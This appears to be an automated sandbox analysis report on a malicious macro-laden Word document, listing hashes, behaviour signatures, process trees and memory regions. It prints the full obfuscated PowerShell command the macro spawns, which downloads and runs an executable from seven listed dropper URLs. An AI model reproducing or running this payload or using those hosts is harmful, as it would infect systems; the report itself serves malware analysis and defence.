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Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    30/05/2024, 13:27

General

  • Target

    844fb7bc81bfc7002245a6a66ae8a47e_JaffaCakes118.doc

  • Size

    163KB

  • MD5

    844fb7bc81bfc7002245a6a66ae8a47e

  • SHA1

    97e84d126cf307685a299ba7bac241d678a60406

  • SHA256

    999123e765753a8a7e01000077c615e01d9148be201c80c191843233e50ff54e

  • SHA512

    7b4ae0126630c78113d03b8a19a7f35232cf5a2f317b4d958b074978d43551f89b2dad6246cc272c61bbe3b4229e9c96e9788d1ee0686df0d5528e5ad43b0575

  • SSDEEP

    1536:T5a/aNrdi1Ir77zOH98Wj2gpngR+a9a5ZVDEuEfBzoI9GQ:T/rfrzOH98ipguO5JzoYGQ

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://cryptokuota.com/assets/M2ngTrJ/

exe.dropper

https://pinterusmedia.com/wp-admin/YX/

exe.dropper

https://aszcasino.com/aszdemo/DRloh/

exe.dropper

https://dubai-homes.ae/wp-admin/YBJR3M/

exe.dropper

https://whitdoit.tk/ljiy53n/xxE/

exe.dropper

http://4life.com.vn/wp-admin/R/

exe.dropper

http://baran-business.de/wp-content/pMr/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 10 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\844fb7bc81bfc7002245a6a66ae8a47e_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1752
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABCAGcANQB0AGoAZQBqAD0AKAAoACcAQQA5ACcAKwAnAGMAJwApACsAKAAnAGIAJwArACcAegBsADQAJwApACkAOwAuACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABlAE4AdgA6AHUAUwBFAHIAcAByAE8ARgBpAEwARQBcAGkAaQBxAFEASABRAFAAXAB3ADYAagBTAHgAZQBmAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAEUAYwB0AE8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAHUAUgBgAEkAVABZAHAAcgBPAFQATwBgAEMAbwBsACIAIAA9ACAAKAAnAHQAJwArACgAJwBsAHMAJwArACcAMQAyACcAKwAnACwAIAB0AGwAcwAnACkAKwAoACcAMQAxACcAKwAnACwAJwApACsAKAAnACAAJwArACcAdABsAHMAJwApACkAOwAkAFEAaAA1AGcAeQBoAHUAIAA9ACAAKAAnAE4AJwArACgAJwA3ADAAJwArACcAdwAnACkAKwAoACcAbQAyACcAKwAnADYAZQAnACkAKQA7ACQASgBsAGUAMAA1ADgAcwA9ACgAJwBWAGUAJwArACcAcgAnACsAKAAnAG8AYQAnACsAJwB5AGgAJwApACkAOwAkAE8AcwB0AGYAXwBoAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBHADkAJwArACcAbABJACcAKwAnAGkAcQBxAGgAJwArACcAcQBwACcAKQArACcARwAnACsAJwA5AGwAJwArACgAJwBXACcAKwAnADYAagBzACcAKwAnAHgAZQBmAEcAOQBsACcAKQApAC0AcgBlAFAATABBAEMARQAgACAAKAAnAEcAOQAnACsAJwBsACcAKQAsAFsAQwBoAGEAUgBdADkAMgApACsAJABRAGgANQBnAHkAaAB1ACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAVwBxAGsAbgBvAHIAdAA9ACgAKAAnAE4AJwArACcAXwAyACcAKQArACgAJwBnAHUAJwArACcAeQBrACcAKQApADsAJABVAGoAagBvAGEAMwBqAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAFcAZQBCAGMATABpAGUAbgBUADsAJABWAG0AcgAxAGkAdABzAD0AKAAoACcAaAB0AHQAJwArACcAcAA6AC8ALwAnACkAKwAnAGMAcgAnACsAKAAnAHkAcAAnACsAJwB0AG8AJwApACsAKAAnAGsAJwArACcAdQBvAHQAYQAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBhACcAKwAnAHMAcwAnACsAKAAnAGUAJwArACcAdABzAC8ATQAyAG4AJwArACcAZwAnACkAKwAoACcAVAAnACsAJwByAEoALwAnACkAKwAnACoAaAAnACsAKAAnAHQAdABwAHMAOgAnACsAJwAvACcAKwAnAC8AcAAnACsAJwBpAG4AdAAnACkAKwAnAGUAcgAnACsAKAAnAHUAcwBtACcAKwAnAGUAZAAnACkAKwAoACcAaQBhAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AdwAnACsAJwBwACcAKQArACgAJwAtACcAKwAnAGEAZABtAGkAJwArACcAbgAvAFkAJwApACsAJwBYAC8AJwArACgAJwAqACcAKwAnAGgAdAB0AHAAJwApACsAKAAnAHMAOgAnACsAJwAvACcAKwAnAC8AYQBzAHoAYwAnACkAKwAnAGEAJwArACgAJwBzAGkAJwArACcAbgBvAC4AYwAnACkAKwAnAG8AJwArACcAbQAvACcAKwAoACcAYQAnACsAJwBzAHoAJwApACsAJwBkAGUAJwArACgAJwBtAG8AJwArACcALwBEAFIAbABvAGgALwAnACsAJwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwACcAKwAnAHMAOgAvACcAKQArACgAJwAvAGQAdQAnACsAJwBiAGEAJwApACsAKAAnAGkALQBoACcAKwAnAG8AbQAnACkAKwAnAGUAJwArACcAcwAnACsAJwAuAGEAJwArACgAJwBlAC8AJwArACcAdwAnACkAKwAoACcAcAAnACsAJwAtAGEAZABtACcAKQArACgAJwBpACcAKwAnAG4ALwBZACcAKQArACgAJwBCAEoAUgAnACsAJwAzAE0ALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdAAnACsAJwBwAHMAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwB3AGgAJwArACcAaQB0AGQAJwApACsAKAAnAG8AaQB0AC4AdABrACcAKwAnAC8AJwApACsAKAAnAGwAagBpAHkANQAnACsAJwAzACcAKQArACcAbgAvACcAKwAnAHgAeAAnACsAJwBFACcAKwAoACcALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAnAC8ANAAnACsAJwBsACcAKwAoACcAaQAnACsAJwBmAGUAJwApACsAJwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALgAnACsAJwB2AG4ALwB3AHAAJwApACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuACcAKQArACcALwAnACsAJwBSACcAKwAnAC8AKgAnACsAJwBoAHQAJwArACgAJwB0ACcAKwAnAHAAOgAvAC8AYgBhAHIAJwArACcAYQBuAC0AJwApACsAKAAnAGIAdQBzACcAKwAnAGkAbgBlAHMAJwApACsAJwBzACcAKwAoACcALgBkACcAKwAnAGUAJwApACsAKAAnAC8AdwBwACcAKwAnAC0AYwAnACsAJwBvAG4AJwApACsAJwB0AGUAJwArACcAbgB0ACcAKwAoACcALwAnACsAJwBwAE0AcgAnACkAKwAnAC8AJwApAC4AIgBTAGAAcABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFMAcQA3ADQAZQB4AGgAPQAoACcATwAnACsAKAAnAGEAJwArACcANwBnAGwAbgAnACkAKwAnAHMAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWQBjADMAawA1ADMAaAAgAGkAbgAgACQAVgBtAHIAMQBpAHQAcwApAHsAdAByAHkAewAkAFUAagBqAG8AYQAzAGoALgAiAGQAbwBXAGAATgBsAG8AQQBgAGQARgBpAGAAbABlACIAKAAkAFkAYwAzAGsANQAzAGgALAAgACQATwBzAHQAZgBfAGgAbQApADsAJABUAHgAcgBsAHYAMwB6AD0AKAAoACcAVQBjACcAKwAnAHEANQBmACcAKQArACcAbQAnACsAJwBzACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABPAHMAdABmAF8AaABtACkALgAiAEwAYABlAE4AZwB0AGgAIgAgAC0AZwBlACAAMgAyADkAOQA5ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAE8AcwB0AGYAXwBoAG0AKQA7ACQARAB6AHYAMwBwADYAaAA9ACgAKAAnAEgANAAnACsAJwBvAHYAJwApACsAJwBtACcAKwAnADMAZgAnACkAOwBiAHIAZQBhAGsAOwAkAE4AcQA4AGgAXwAzADkAPQAoACgAJwBaACcAKwAnAGIAYwAnACkAKwAoACcAaABuACcAKwAnADYAaQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwBuAGYAeQA5AHIAbQA9ACgAJwBIACcAKwAoACcAYgBsACcAKwAnADAAJwArACcAbABsAHAAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2844

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      7ddac897cbc467641917dc6669f79d52

      SHA1

      438ae85e8e9fa13d67fe1afb27fcb1e10d63b6f4

      SHA256

      3346d9de088bc9dadeee8fef1c51f0b206df713790492f9d9c8d616dbe310e9a

      SHA512

      0382908222cbc5a92025baf494549656852b8ec8cff9dba1bfa8708e571b4ece812ceff6bc0cc0046242b73fa7311c217fa66ee36bde01dc4968f143a6dc5621

    • memory/1752-17-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-25-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-6-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-7-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-9-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-27-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-12-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-13-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-11-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-10-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-14-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-21-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-22-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-20-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-18-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-19-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-16-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-0-0x000000002FB61000-0x000000002FB62000-memory.dmp

      Filesize

      4KB

    • memory/1752-2-0x0000000070DFD000-0x0000000070E08000-memory.dmp

      Filesize

      44KB

    • memory/1752-15-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-8-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-26-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-24-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-23-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-28-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-30-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-32-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-31-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-29-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-33-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-65-0x0000000070DFD000-0x0000000070E08000-memory.dmp

      Filesize

      44KB

    • memory/1752-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1752-46-0x0000000070DFD000-0x0000000070E08000-memory.dmp

      Filesize

      44KB

    • memory/1752-47-0x0000000000460000-0x0000000000560000-memory.dmp

      Filesize

      1024KB

    • memory/1752-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2844-40-0x0000000001F40000-0x0000000001F48000-memory.dmp

      Filesize

      32KB

    • memory/2844-39-0x000000001B760000-0x000000001BA42000-memory.dmp

      Filesize

      2.9MB